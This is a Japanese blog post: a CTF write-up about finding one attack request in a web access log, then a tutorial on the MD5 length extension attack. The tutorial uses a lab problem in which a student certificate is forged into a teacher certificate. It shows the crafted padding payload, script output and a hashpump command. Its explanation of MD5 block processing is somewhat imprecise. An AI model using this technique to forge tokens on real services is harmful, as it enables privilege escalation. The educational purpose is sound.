1万数千行のWebサーバーアクセスログが渡されます. 何かがおかしいって何だよ...と思いながらログを見ると同じIPから大量の攻撃(OWASP ZAP?)がありました. 1行ずつ見ても終わらないので各行から得られる情報を整理するpythonコードを書きました. 使われてるメソッド,Content-Typeを一覧にしたり,レスポンス時間やレスポンスサイズを大きい順に並べたりといろいろして,候補を選ぶことにしました. Content-Typeの一覧を見ると,1つだけファイルアップロードしているっぽいリクエストがあったので候補に挙げました. レスポンスが500だったので,これは違うかなーと思って,使われているフレームワークを調べたり,レスポンスが404や500の後に200になっている行を探したりして調査を続けました. 11時半頃にみんな眠くなってきたとき,時刻通りに並んでいないリクエストが1つあることに気が付きました. これを見つけて絶対これじゃんってなってみんなで寝ました.(1日目終了時点で旅行写真とこの問題しか残ってなかった.) しかし,いざ次の日フラグを送ってみると不正解と言われます. 最初に見つけたアップロードリクエストの行を送ってみるとこっちが正解でした. (あとで調べたらレスポンスまでの時間がかかるとアクセス時間の順番通りにログが並ばないことが結構多いみたいです.) 上位5チームは全員この問題を解いていましたが,確信を持ってこれを選べたんですかね? レスポンスが"Internal Server Error"なので我々のチームメンバーはしっくりきてません.

感想

全体的に良問で難易度も高くなかったのでやりやすかったです.ただ「攻撃ログ」と「find the flag」は個人的には肌に合わなかったです. 担当のForensicsは無かったですが代わりにSteganography,Binary系は結構解いたのでセーフ.あとExploit問題がほしかったです. チーム内で事前に役割分担していた上に,情報共有が事前練習通り上手くいったため早いうちに全完できました.

thrustは予定通りネットワーク全部やってくれました.さすが.

yoshikingはCTF初めて2か月なのに集中特訓していた暗号の250, 300点問題をちゃんと解いていた.えらいぞ.

ふるつきはプロなので難しい問題だけに集中して200点以上の問題だけ解いた.すごいぞ.

私はというと初日は300点1つ解いて満足したんで誰も解けてない100点とかを消化してました.残った問題はホテルで全部解いたから許して.

進撃とかfind the flagとか時間かけた割にあんまり成果が出せなかったのでそこは反省です. 今後はSECCONに向けて対策していこうと思います.

参加者と運営の皆様,お疲れ様でした!

Length Extension Attackの原理と実装

はじめに

{H}md5sha1などのハッシュ関数としたとき,{H(m_1)}から{H(m_1 || m_2)}を求める攻撃をLength Extension Attackと呼びます. この記事では先日の研究室内で開いたCTFで出題した問題を例に,Length Extension Attackの原理と使い方を説明するとともに,Pythonによる実装を公開しようと思います.

Length Extension Attackの原理

ハッシュ関数は入力メッセージをいくつかのブロックに分けて,4ブロックごとに処理します.メッセージのブロック数が4の倍数でないときは,メッセージの最後に適当なパディングが付け足され,4ブロックごとに処理できるようにされます.ハッシュ関数の大まかな処理を下図に載せました.

f:id:ptr-yudai:20180828212131p:plain

最初のブロックでは図のように初期ベクトルIVを与え,各ブロックを順番に内部処理していきます.そして,最終的にはA,B,C,Dを並べた値を出力とします.メッセージが4ブロックよりも多い場合は,前の処理で得た出力をIVとして,同様に処理します.今,あるメッセージ{m_1}ハッシュ値{(A,B,C,D)}とします.では,この{(A,B,C,D)}をIVとして{m_2}ハッシュ値を取るとどうなるでしょうか.単純に考えれば{H(m_1 || m_2)}が計算できそうです.ただし,{m_2}のブロック数が4倍でない場合はパディングが追加されてしまうので,実際には{H(m_1 || padding || m_2)}を計算させます.したがって,必ずしも{H(m_1 || m_2)}が得られる訳ではありませんが,ゴミデータが間に入っているハッシュ値でも攻撃に利用できる場合があるのです.

問題(自作問題)

攻撃原理を説明したところで,具体的な問題を解いてみましょう.次の問題は研究室内のCTFで出題したCrypto問題です.Hack You CTF 2014のhashmeという問題をベースに作りました. 問題ファイルとして,次のserver.pyと,これが動いているサーバーのアドレスとポート番号が渡されます.(文字列変数FLAG, SLATが入ったsecret.pyを別途用意する必要あり)

学生としての証明書をいくらでも発行できるサービスなのですが,教師としての証明書を作ることはできません.権限が教師の証明書を使えばフラグを見ることができます.証明書の発行でユーザー名を入力するとdata = 'priv:student|user:' + usernameが作られhash = md5(SALT + data)が計算されます.証明書はbase64(data + hash)として出力されます.construct関数でdataを辞書に展開するのですが,後ろにあるデータが優先されるので,usernameとして'hoge|priv:teacher'を与えれば教師権限を取ることができます.しかし,usernameとして使える文字は限られているので直接これを入力することはできません. ということで,md5(SALT + m1)が得られるので,ここからhash = md5(SALT + m1 + padding + '|priv:teacher')を計算し,証明書としてbase64(m1 + padding + '|priv:teacher' + hash)を与えれば教師権限を取ることができます.ただし,SALTの文字数が分からないのでパディングがどれだけ必要かは分かりません.これはどうしようもないので,SALTの文字数を1から順に変えていって試すしかないです.

Length Extension Attackの実装

攻撃自体は難しくないのですが,md5の初期ベクトルを変える必要があります.せっかくなので,今回はMD5の実装もしました.(HashPumpというツールもあるので試してみてください.)コードは下記のようになり,案の定MD5の実装に手間と行数を取られました.また,追加データのハッシュを取るだけでなく,そこまでのデータ長を足したものをハッシュに使う必要があることになかなか気付けませんでした.

攻撃と問題の説明はここまでです.興味のある方は,問題を解くコードも作ってみてください. SALTを"hoge"としてみると,こんな感じになります.

$ python lenxpand.py
known_md5 = e63f73a0551c84d96fd4d1311410d0ef
new_md5   = 77704b5b44435e866c45f001da0f69df
new_md5*  = 77704b5b44435e866c45f001da0f69df
data      = 'user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00|priv:teacher'

もちろんHashPumpの出力と同じになります.

$ hashpump -s e63f73a0551c84d96fd4d1311410d0ef -d user -k 4 -a "|priv:teacher"
77704b5b44435e866c45f001da0f69df
user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00|priv:teacher

参考文献

Length Extension Attackに関する詳しい説明: katagaitai CTF勉強会 #5 Crypto

MD5の詳しいアルゴリズムMD5の計算方法 - BK class